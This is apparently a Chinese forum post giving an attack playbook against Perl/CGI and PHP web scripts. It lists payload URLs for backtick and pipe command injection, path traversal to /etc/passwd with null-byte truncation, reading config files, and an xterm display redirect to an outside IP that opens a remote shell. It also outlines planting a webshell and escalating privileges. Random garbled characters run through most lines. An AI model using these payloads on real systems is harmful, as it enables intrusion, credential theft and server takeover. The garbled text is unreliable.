总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
$ F) X7 Q' M+ f0 }cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 * V# r" x l) V7 _* i
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 & e/ L! J" P( f7 P; B- r P* I; E
注“
2 I( S' x p) {- ^+ Sperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
# }9 A% r; s, c/ h: T c以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 9 B8 Z/ f' p+ B2 ]) b
2 G9 V) E, X, `8 P: {! W
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 * b3 B/ L: H' T; }' ~/ h9 A J
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
9 J+ x7 f: |1 E, C; z. y5 Q$ Dhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
% q& i o6 {- k: V1 Jhttp://target.com/cgi-bin/home/news/sub.pl?`id` ) ^* I7 k+ H7 [/ A1 s! d% ]
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` & m1 d. U0 N1 w
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
* Y x6 B8 O/ N# R2 U4 E6 _$ K- B) I1 H. U5 B c# M! S. `( L! O
http://target.com/test.pl;ls|
* b* t7 H `& {( l2 z/ L Vhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 0 h" `0 b. T$ k* A5 c: v6 d5 o
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| $ C" C2 i- k; _! {7 W7 O+ E
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
8 L6 B9 W* I" p0 t& `) `. D比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
8 F# U/ G8 k+ ]" z2 Chttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection $ N& g& k, b* Q; `6 [- r
% ?# k5 o1 ^' H0 @0 Phttp://target.com/test.pl?&........ /../../etc/passwd / }5 \) S4 v$ C2 X" Z
. y P B1 e: H
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
8 \* K! ?3 W1 N' u' Jhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
: E; v) s v: u1 E m# e* u* phttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
* Q! `- y* i5 O8 e. ~* W2 H* A& ~. M3 b& e5 ^( X. \$ V" `8 X' l8 U- d
http://www.target.org/show.php?f ... /include/config.php 查看php代码
+ m8 Z) j- U8 g( {3 T( C3 khttp://www.target.org/show.php?f ... ng/admin/global.php 9 Y. {5 Y" W4 g& ~) y& D, F
7 M" A$ m2 f, c3 ]+ p) B
emm和ps的一句话
0 d J0 H- B3 Z- b) F8 J7 w$ R0 \# _5 i0 `: x! [
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
1 Z8 v' F# o1 S. P1 l) B. K; i y W+ q
>bbb%20| : D7 L( p, y8 s
# f; S; E# f% X# p; U6 T" O
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
U& O+ q$ W+ F& g+ z, \, v# b5 h ]% P" D- Q
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 " p3 i6 J& ~9 q0 |4 R
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
' w t7 C* A+ r+ G6 p; A+ m3 R8 g: J: f, F
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 5 a5 c* W9 R8 d: Y" I! I
http://target.com/index.html#cmd.exe 2 `; @, |; ]9 x* ?' Q- H
http://target.com/index.html?dummyparam=xp_cmdshell
7 l ] x9 W$ d* b& v8 ylynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 1 z& s1 v3 Q# l- l" m5 h0 e
|